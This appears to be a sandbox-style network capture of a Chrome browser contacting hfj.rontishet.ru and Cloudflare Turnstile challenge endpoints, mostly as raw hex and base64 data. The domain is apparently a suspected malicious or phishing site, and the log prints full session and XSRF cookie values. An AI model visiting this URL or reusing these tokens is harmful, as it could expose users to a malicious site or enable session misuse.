2024-09-30 17:20:27 UTC	1320	OUT	GET /favicon.ico HTTP/1.1 Host: hfj.rontishet.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hfj.rontishet.ru/iCaWzj6Q/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik5Raks1QVVvbFZaaTNjUzBLdzQvN3c9PSIsInZhbHVlIjoiem1xeTJBSTJtSkJjTy9jN3k4Z0JBdVdQbjY5Smo5RkptVzhzbkxIR3d4U1lvM25IQjducmt4Sm9aSHJhbmg2WHhMSk00c2NKK1lRdm9PNi9hanpIRVVBT2NORFowbm1GMTdtbklXbm1LdlZxV2Q5dGh1MFRXcXlZOExaU0FNZmIiLCJtYWMiOiI1ODIyZjIxMjc0ZDgwMDcwM2FkMzgwOTc2ZGNmM2I1YmU2NjliMzFmY2Q3NDkxNmU0OTc4NmI4ZmRhNmZlYWRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImsrMXNBNUNEaW1GbytaZE1iOHZDWEE9PSIsInZhbHVlIjoiUGVVUStFU1puM2VIRUpxRDVweFduS3JPaytmR3d0SlpEcmR4MjJFWmdnOGtXRDlFdm52RUg4M3JmTjJwUDZPYXJGWEhCc3F3TnQ0cVcwSU5tcUdlN0lLTWlmTmNCT0QrRkhGZUxYVTR2UGxJdjg0R1NTNUppUTNyMnpQOEpodW4iLCJtYWMiOiIyNjNiNDVlNmVlODI1Yjk4Y2RmMDhjNjNlNTI0Mjk3NjQwNmQ3ZDU5ZGYwMWNkNzQ2NTYxMmNkMWZlYWZmZWNiIiwidGFnIjoiIn0%3D
2024-09-30 17:20:27 UTC	650	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 17:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 2368 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gyxYidiwrhwpJpPU6KB7GxxPwjhNOBH%2BaxWvYcHGoNOA%2FitPGk7RSFdoY0ynWhM4B51lfDJIo0JoS33kPQooXu52G4v82gwKgixTK8j3RjDDChJFd0cGRza3hwalCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Speculation-Rules: "/cdn-cgi/speculation" CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8cb5e23e894f41db-EWR
2024-09-30 17:20:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:27 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:28 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:28 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8cb5e23eff2e72b3-EWR alt-svc: h3=":443"; ma=86400
2024-09-30 17:20:28 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:28 UTC	925	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/194391686:1727712828:JRtCI2iqmwXzQ6uA9YbttRQhBtGvVV2Rs_-r0xzpao4/8cb5e237ab880f47/1bf49d3282149e4 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2733 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 1bf49d3282149e4 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:28 UTC	2733	OUT	Data Raw: 76 5f 38 63 62 35 65 32 33 37 61 62 38 38 30 66 34 37 3d 6e 6f 56 53 68 53 43 53 6f 53 54 53 4b 61 66 7a 61 66 32 53 61 48 41 33 35 4d 61 70 66 35 66 36 77 48 65 37 74 66 31 6c 39 66 74 74 61 79 66 42 66 2d 48 70 33 69 74 66 75 66 6e 53 6c 6f 66 67 66 42 68 56 53 78 66 65 48 61 54 66 34 74 78 37 76 65 66 5a 38 66 65 35 66 61 71 46 36 66 66 48 30 4e 66 75 48 41 25 32 62 4f 34 31 37 74 31 74 30 66 70 38 5a 73 45 24 71 42 72 75 65 66 6e 56 6c 56 66 71 74 61 77 51 70 46 38 5a 4d 45 51 68 44 44 64 55 70 32 71 66 4f 32 37 65 66 61 31 72 53 41 61 41 66 53 46 65 66 66 36 31 66 41 67 4d 74 66 67 56 79 54 53 66 6c 6f 66 57 49 48 6f 54 50 42 49 4f 35 74 66 59 53 5a 2b 66 41 56 72 66 35 51 73 6c 74 41 49 66 5a 6f 71 66 65 43 6e 56 30 57 6b 37 49 4e 4e 6c 50 48 6b 73 Data Ascii: v_8cb5e237ab880f47=noVShSCSoSTSKafzaf2SaHA35Mapf5f6wHe7tf1l9fttayfBf-Hp3itfufnSlofgfBhVSxfeHaTf4tx7vefZ8fe5faqF6ffH0NfuHA%2bO417t1t0fp8ZsE$qBruefnVlVfqtawQpF8ZMEQhDDdUp2qfO27efa1rSAaAfSFeff61fAgMtfgVyTSflofWIHoTPBIO5tfYSZ+fAVrf5QsltAIfZoqfeCnV0Wk7INNlPHks
2024-09-30 17:20:28 UTC	717	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:28 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152136 Connection: close cf-chl-gen: VBDr+clHLIfZvQwvkTQmxFnmrbcD6oGrzpPK/7bRHQ/lch91ZG6fj3d4oD7JNvqSlJMc6TRAM+HzEVkSfVYlOHDD3t9U1OI5tS+nTjKbNaJIEDoq9e5+2S+KSXy8XUFJ3qfAHY6X1FSzil/OyXTo3lxE82pTqfAt4dEQ2UGlKZq4ZZPt+1zV6wXreHp+ThzCJTeCsIb2RXHkj0bxb/1t9ZmyOtDmghkIcHYYKKSwZYl3Qx4sPXNkAYDQ63FVDsntbme8i2H7C0wDHlBllsVLERZlDZl4WNN1zNnwT/PUC+mnLfGa7th3RyJsCroKPm1h3+N70NjjYxvG/BU7rrZ1Xml+CSTHa/koY+8Vjr3T/jUbgL2bQyjE75EXwuR6AOAEhHIGN62HdS6gQyRT6LPkKy70WMlHuA+aDDC0G6zBqCAE6BoeIlHvC29OSsWYr1rr7gUHWM6fVpjCv3KT/y797tenAVyqrbOZXrFYZ4qWcRGyxYs=$iDVm3iBuwVXMQh42 Server: cloudflare CF-RAY: 8cb5e2422d1b4291-EWR
2024-09-30 17:20:28 UTC	652	IN	Data Raw: 6c 4c 6d 7a 77 4a 43 4e 6a 5a 6d 54 6f 62 65 45 69 49 61 6b 70 73 6a 49 6a 73 6d 4c 30 38 44 51 79 61 47 35 32 4c 44 63 6c 4e 79 78 30 4b 43 63 72 73 57 67 74 37 37 5a 70 63 6e 4b 79 4e 7a 6a 76 2b 6a 66 73 62 33 4b 33 38 6e 48 77 4e 48 72 32 2f 61 39 74 65 36 37 73 38 72 78 33 76 4c 6d 33 39 76 62 2b 66 30 45 31 2b 6b 42 43 4f 66 6f 42 50 58 6e 41 68 54 30 41 2f 63 47 45 68 4c 76 43 77 4c 78 32 53 55 66 46 51 66 6b 41 75 4d 69 35 78 7a 6e 4a 75 34 48 4d 42 37 78 49 69 66 74 45 2f 51 4b 4a 41 34 74 2b 44 63 53 48 50 77 37 46 55 59 50 2b 44 77 53 43 54 6b 4b 50 42 30 75 51 44 74 46 54 79 45 76 43 43 63 6b 4b 6b 74 52 52 6c 6b 70 53 42 68 63 4f 56 45 66 55 45 35 6a 49 57 52 66 51 6c 68 46 57 54 34 74 4c 55 6c 4d 4d 57 6f 78 65 48 42 73 55 54 5a 4f 58 54 74 Data Ascii: lLmzwJCNjZmTobeEiIakpsjIjsmL08DQyaG52LDclNyx0KCcrsWgt77ZpcnKyNzjv+jfsb3K38nHwNHr2/a9te67s8rx3vLm39vb+f0E1+kBCOfoBPXnAhT0A/cGEhLvCwLx2SUfFQfkAuMi5xznJu4HMB7xIiftE/QKJA4t+DcSHPw7FUYP+DwSCTkKPB0uQDtFTyEvCCckKktRRlkpSBhcOVEfUE5jIWRfQlhFWT4tLUlMMWoxeHBsUTZOXTt
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 6c 36 4b 42 5a 49 32 76 65 57 64 6b 68 49 43 4e 64 59 79 59 69 37 53 50 72 35 4b 30 76 4c 2b 34 77 72 57 30 76 34 44 45 6e 59 65 57 6f 38 6d 35 79 4c 44 47 76 73 47 4f 76 37 62 53 6b 61 4f 76 6b 5a 65 79 6d 4d 69 36 6e 70 66 58 74 4e 44 67 73 5a 6d 69 76 61 71 69 77 63 79 74 72 4e 48 61 75 39 4c 46 78 2b 33 4f 73 4f 61 34 7a 4d 72 6c 75 4e 7a 57 31 39 66 6a 30 76 37 46 33 74 53 2f 35 65 44 2b 32 74 2f 4d 43 51 76 6d 35 51 6f 50 39 41 33 59 43 50 6a 6e 39 51 34 58 30 51 4c 5a 45 41 2f 74 32 2f 76 6e 2b 66 48 6e 47 53 77 43 4a 65 37 73 34 78 34 68 4a 43 6b 6f 37 54 41 4e 47 79 67 57 50 52 58 31 49 6a 67 30 4d 41 35 43 49 50 6b 61 41 53 45 32 54 41 52 43 44 7a 30 6d 4c 54 39 55 55 79 35 47 46 43 49 6f 55 69 73 61 48 79 70 4a 55 6d 4e 6c 48 43 52 6f 57 53 49 Data Ascii: l6KBZI2veWdkhICNdYyYi7SPr5K0vL+4wrW0v4DEnYeWo8m5yLDGvsGOv7bSkaOvkZeymMi6npfXtNDgsZmivaqiwcytrNHau9LFx+3OsOa4zMrluNzW19fj0v7F3tS/5eD+2t/MCQvm5QoP9A3YCPjn9Q4X0QLZEA/t2/vn+fHnGSwCJe7s4x4hJCko7TANGygWPRX1Ijg0MA5CIPkaASE2TARCDz0mLT9UUy5GFCIoUisaHypJUmNlHCRoWSI
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 62 47 71 70 36 71 73 6e 36 75 34 74 61 2b 49 71 37 61 37 75 58 32 61 76 49 47 30 75 4c 62 49 75 63 71 34 70 4b 43 75 77 38 2b 49 6f 4d 57 72 6f 36 62 51 77 6f 2f 47 31 37 50 54 78 72 2f 63 75 37 43 2f 73 75 44 61 30 4c 37 59 35 63 6d 34 70 62 37 61 33 4f 6a 52 79 36 37 67 30 4d 2f 44 30 75 48 69 35 38 37 70 74 63 6a 75 30 38 48 44 30 37 76 66 35 67 62 59 43 4d 55 45 42 67 63 4a 35 41 37 36 43 51 67 53 41 52 58 71 41 68 4d 53 30 2b 59 4e 46 76 6a 74 2b 78 6e 37 38 51 44 33 39 2f 59 61 44 51 54 37 36 43 49 6f 34 78 45 63 2f 43 51 6c 45 6a 63 33 43 69 6f 39 2b 50 34 4c 4f 52 59 6a 4d 77 2f 33 51 78 4d 47 49 51 63 36 4a 79 30 6e 47 69 5a 51 54 45 4e 56 55 67 31 45 54 45 4d 36 4d 6c 4a 4e 46 53 67 65 4e 43 4a 6b 51 56 63 6e 57 45 64 6c 49 6c 68 63 58 45 38 74 Data Ascii: bGqp6qsn6u4ta+Iq7a7uX2avIG0uLbIucq4pKCuw8+IoMWro6bQwo/G17PTxr/cu7C/suDa0L7Y5cm4pb7a3OjRy67g0M/D0uHi587ptcju08HD07vf5gbYCMUEBgcJ5A76CQgSARXqAhMS0+YNFvjt+xn78QD39/YaDQT76CIo4xEc/CQlEjc3Cio9+P4LORYjMw/3QxMGIQc6Jy0nGiZQTENVUg1ETEM6MlJNFSgeNCJkQVcnWEdlIlhcXE8t
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 5a 79 67 58 71 5a 70 37 32 72 69 72 75 50 6b 4c 6a 45 6f 70 43 2b 6e 61 44 4c 6d 38 53 2f 79 38 4f 68 6e 71 32 6e 30 71 71 78 73 39 61 74 32 38 32 5a 73 4e 36 61 6c 37 65 38 6e 74 62 50 31 72 2f 6d 76 4f 76 64 36 4d 44 76 35 65 54 48 7a 4b 37 79 79 4b 7a 49 72 38 4b 36 37 38 7a 49 74 62 62 4a 39 2b 4d 46 33 2b 4f 39 39 39 37 31 32 63 58 33 33 63 44 6b 35 41 33 45 38 74 2f 77 45 74 58 32 38 2f 48 57 39 75 33 31 46 67 4c 77 39 42 62 69 34 75 50 34 41 50 4c 35 48 65 6e 73 35 51 30 4d 45 77 66 2b 35 67 55 30 42 42 63 76 49 7a 6a 37 4f 44 6b 50 4d 44 6b 37 50 45 55 2b 47 78 73 53 52 53 6f 68 48 43 59 46 52 52 38 6a 4d 6b 49 69 45 53 70 41 51 6a 42 4b 56 30 68 57 46 6b 67 39 59 53 39 6a 4f 32 4a 6b 56 31 73 6b 4b 56 6b 37 62 57 73 2f 50 30 35 74 52 32 74 43 62 Data Ascii: ZygXqZp72riruPkLjEopC+naDLm8S/y8Ohnq2n0qqxs9at282ZsN6al7e8ntbP1r/mvOvd6MDv5eTHzK7yyKzIr8K678zItbbJ9+MF3+O999712cX33cDk5A3E8t/wEtX28/HW9u31FgLw9Bbi4uP4APL5Hens5Q0MEwf+5gU0BBcvIzj7ODkPMDk7PEU+GxsSRSohHCYFRR8jMkIiESpAQjBKV0hWFkg9YS9jO2JkV1skKVk7bWs/P05tR2tCb
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 58 71 49 32 77 66 62 75 4e 77 72 2b 44 77 38 4f 30 76 37 65 31 77 74 43 6d 6a 4a 2f 45 7a 5a 48 53 72 6f 2b 57 78 36 57 59 75 4c 6e 4e 31 73 4b 30 33 4c 61 65 78 38 53 66 73 2b 54 6e 31 72 6d 33 30 50 44 43 36 76 50 55 35 38 66 52 35 65 33 77 30 2b 54 30 39 67 44 37 39 64 62 79 30 51 4c 50 31 66 6e 6d 78 51 48 74 37 65 44 76 7a 52 44 69 36 65 30 48 30 68 6a 78 43 75 73 4b 35 64 59 62 36 52 30 4e 39 66 33 67 42 65 44 65 2f 42 6a 31 43 79 41 58 39 79 63 5a 43 79 49 45 42 52 48 76 4c 77 48 72 45 51 38 64 4e 42 6f 35 47 54 59 43 46 6a 34 38 47 45 46 48 49 53 6f 2f 48 42 6b 4e 51 30 52 4f 50 53 56 4c 51 7a 49 57 54 53 4a 48 55 6b 38 76 53 30 42 59 4e 44 34 33 59 53 52 50 4a 47 4e 42 52 54 78 6d 52 45 42 75 53 30 5a 30 61 6a 56 4f 55 6a 4d 35 54 6b 55 75 62 30 Data Ascii: XqI2wfbuNwr+Dw8O0v7e1wtCmjJ/EzZHSro+Wx6WYuLnN1sK03Laex8Sfs+Tn1rm30PDC6vPU58fR5e3w0+T09gD79dby0QLP1fnmxQHt7eDvzRDi6e0H0hjxCusK5dYb6R0N9f3gBeDe/Bj1CyAX9ycZCyIEBRHvLwHrEQ8dNBo5GTYCFj48GEFHISo/HBkNQ0ROPSVLQzIWTSJHUk8vS0BYND43YSRPJGNBRTxmREBuS0Z0ajVOUjM5TkUub0
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 68 4d 43 37 78 62 61 58 6d 71 75 38 77 61 47 71 30 63 61 62 71 4d 69 77 79 71 65 30 78 39 47 58 72 74 6d 52 75 35 66 62 32 74 71 2f 77 4a 33 63 6f 4d 66 56 32 75 6e 5a 6f 63 2f 4a 33 4e 2f 4f 78 39 4b 32 34 74 48 54 2b 66 6e 50 32 72 37 73 75 76 66 38 7a 72 66 51 34 63 67 41 36 74 54 44 78 41 66 5a 35 74 48 4c 44 75 49 58 30 2b 44 68 47 64 58 57 46 50 67 64 45 43 41 4e 34 4f 49 47 32 79 67 67 47 4f 55 73 42 41 34 6c 41 42 77 67 37 54 51 63 2f 68 59 6d 4c 7a 63 33 45 44 63 4b 48 42 6a 34 4d 69 77 31 49 54 34 39 44 77 49 6b 50 6b 77 71 4e 67 5a 4d 43 68 78 47 4a 6a 4d 6c 51 42 45 51 4a 43 68 57 47 51 39 4a 55 56 35 50 51 6c 52 5a 59 69 5a 66 52 53 6c 53 5a 7a 70 57 59 32 6b 70 53 31 46 71 58 44 52 58 61 6e 56 75 62 6c 52 61 5a 6d 34 36 66 30 31 33 58 58 4b Data Ascii: hMC7xbaXmqu8waGq0cabqMiwyqe0x9GXrtmRu5fb2tq/wJ3coMfV2unZoc/J3N/Ox9K24tHT+fnP2r7suvf8zrfQ4cgA6tTDxAfZ5tHLDuIX0+DhGdXWFPgdECAN4OIG2yggGOUsBA4lABwg7TQc/hYmLzc3EDcKHBj4Miw1IT49DwIkPkwqNgZMChxGJjMlQBEQJChWGQ9JUV5PQlRZYiZfRSlSZzpWY2kpS1FqXDRXanVublRaZm46f013XXK
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 61 50 4a 72 4b 66 4f 77 36 62 44 6e 73 37 50 78 36 2b 53 78 4e 7a 46 79 35 75 6f 76 36 36 37 76 64 58 4e 74 4e 65 65 31 61 54 70 76 38 6a 4c 75 62 2f 78 78 73 7a 50 77 61 79 32 35 65 75 33 78 65 76 7a 39 51 43 37 30 4d 38 46 76 76 6e 68 77 4d 44 37 36 67 54 72 2f 41 62 64 44 51 2f 51 43 68 49 42 42 42 50 6e 2b 4e 48 77 36 50 77 61 45 2f 45 58 32 39 73 6a 38 66 55 6d 35 64 38 66 36 2b 63 4d 34 50 34 61 36 79 67 68 49 6a 41 48 4c 44 67 74 38 75 33 79 4e 2f 66 35 48 68 49 5a 46 78 38 59 53 42 51 59 49 51 4d 56 4a 77 67 6e 51 45 39 4d 4b 54 46 55 4d 43 55 72 4b 78 6f 62 4d 79 35 66 4b 7a 31 64 51 31 73 6a 51 31 67 34 5a 57 70 45 4a 54 56 43 52 30 56 4b 54 6b 46 6a 59 31 46 50 5a 33 64 4d 56 48 42 32 5a 31 31 4f 57 33 35 77 59 32 31 53 57 32 46 39 56 33 5a 47 Data Ascii: aPJrKfOw6bDns7Px6+SxNzFy5uov667vdXNtNee1aTpv8jLub/xxszPway25eu3xevz9QC70M8FvvnhwMD76gTr/AbdDQ/QChIBBBPn+NHw6PwaE/EX29sj8fUm5d8f6+cM4P4a6yghIjAHLDgt8u3yN/f5HhIZFx8YSBQYIQMVJwgnQE9MKTFUMCUrKxobMy5fKz1dQ1sjQ1g4ZWpEJTVCR0VKTkFjY1FPZ3dMVHB2Z11OW35wY21SW2F9V3ZG
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 6e 41 79 35 54 54 74 74 62 4d 73 70 76 56 74 4c 66 4f 31 36 44 57 79 37 2f 42 32 72 53 2b 32 36 58 69 32 63 32 2b 70 39 76 6a 77 71 58 48 31 64 54 42 79 75 6e 78 7a 4f 62 75 39 50 76 62 38 2b 49 41 33 50 58 42 42 4f 48 36 32 67 54 6b 2f 51 58 49 35 77 50 6a 36 41 49 49 35 4f 48 78 43 67 2f 6f 43 76 7a 58 36 42 41 42 38 74 73 53 46 2b 4c 34 46 68 73 4c 36 78 63 66 44 79 63 66 45 68 44 77 44 79 63 58 4e 79 55 72 4d 66 73 72 4c 78 30 4e 4c 44 50 39 2f 42 67 6c 47 42 45 7a 4f 30 45 4d 4f 44 35 43 44 53 68 44 4d 46 51 75 4e 54 64 55 4d 7a 6b 37 46 54 42 4f 56 69 6c 4c 55 6c 6c 6b 4f 45 56 45 61 45 46 63 62 47 77 2f 53 44 78 69 62 6c 41 72 54 55 64 6d 61 6e 52 4f 56 6d 78 49 66 46 68 34 53 48 73 35 54 56 4a 68 55 6d 5a 36 64 58 31 30 58 6e 2b 46 68 32 71 4d 69 Data Ascii: nAy5TTttbMspvVtLfO16DWy7/B2rS+26Xi2c2+p9vjwqXH1dTByunxzObu9Pvb8+IA3PXBBOH62gTk/QXI5wPj6AII5OHxCg/oCvzX6BAB8tsSF+L4FhsL6xcfDycfEhDwDycXNyUrMfsrLx0NLDP9/BglGBEzO0EMOD5CDShDMFQuNTdUMzk7FTBOVilLUllkOEVEaEFcbGw/SDxiblArTUdmanROVmxIfFh4SHs5TVJhUmZ6dX10Xn+Fh2qMi
2024-09-30 17:20:28 UTC	1369	IN	Data Raw: 6b 6f 73 76 62 31 72 53 33 31 4e 58 44 74 4f 50 59 34 4b 66 5a 35 4b 4c 6d 70 64 61 2b 72 4e 32 2f 76 4f 48 30 78 75 61 7a 36 4e 66 56 79 37 66 4f 2f 66 58 65 2b 41 50 37 2f 65 48 61 38 73 6a 33 41 4f 77 43 41 75 2f 4f 43 4f 50 77 43 76 48 53 42 42 4d 4c 30 68 44 7a 45 78 34 61 2b 66 45 67 46 78 59 65 35 64 34 6d 41 41 59 4b 35 79 41 57 4a 42 37 37 36 53 72 7a 4c 67 4d 50 4b 77 34 47 38 77 33 30 39 76 6f 59 41 51 72 35 50 7a 68 47 41 69 68 45 48 76 77 37 47 6b 49 68 4a 6b 78 4d 44 45 70 52 50 30 39 41 47 45 51 6e 50 52 56 57 48 56 5a 67 46 45 38 68 55 43 41 5a 4f 69 56 56 59 45 78 67 4b 31 74 6e 59 45 46 79 4d 45 70 42 5a 6b 6c 77 63 6d 4e 64 57 6b 35 75 64 6c 70 62 58 30 4a 46 57 31 4e 61 61 6b 52 4c 62 46 70 70 67 59 6c 61 66 6e 4a 52 6b 49 74 52 61 57 Data Ascii: kosvb1rS31NXDtOPY4KfZ5KLmpda+rN2/vOH0xuaz6NfVy7fO/fXe+AP7/eHa8sj3AOwCAu/OCOPwCvHSBBML0hDzEx4a+fEgFxYe5d4mAAYK5yAWJB776SrzLgMPKw4G8w309voYAQr5PzhGAihEHvw7GkIhJkxMDEpRP09AGEQnPRVWHVZgFE8hUCAZOiVVYExgK1tnYEFyMEpBZklwcmNdWk5udlpbX0JFW1NaakRLbFppgYlafnJRkItRaW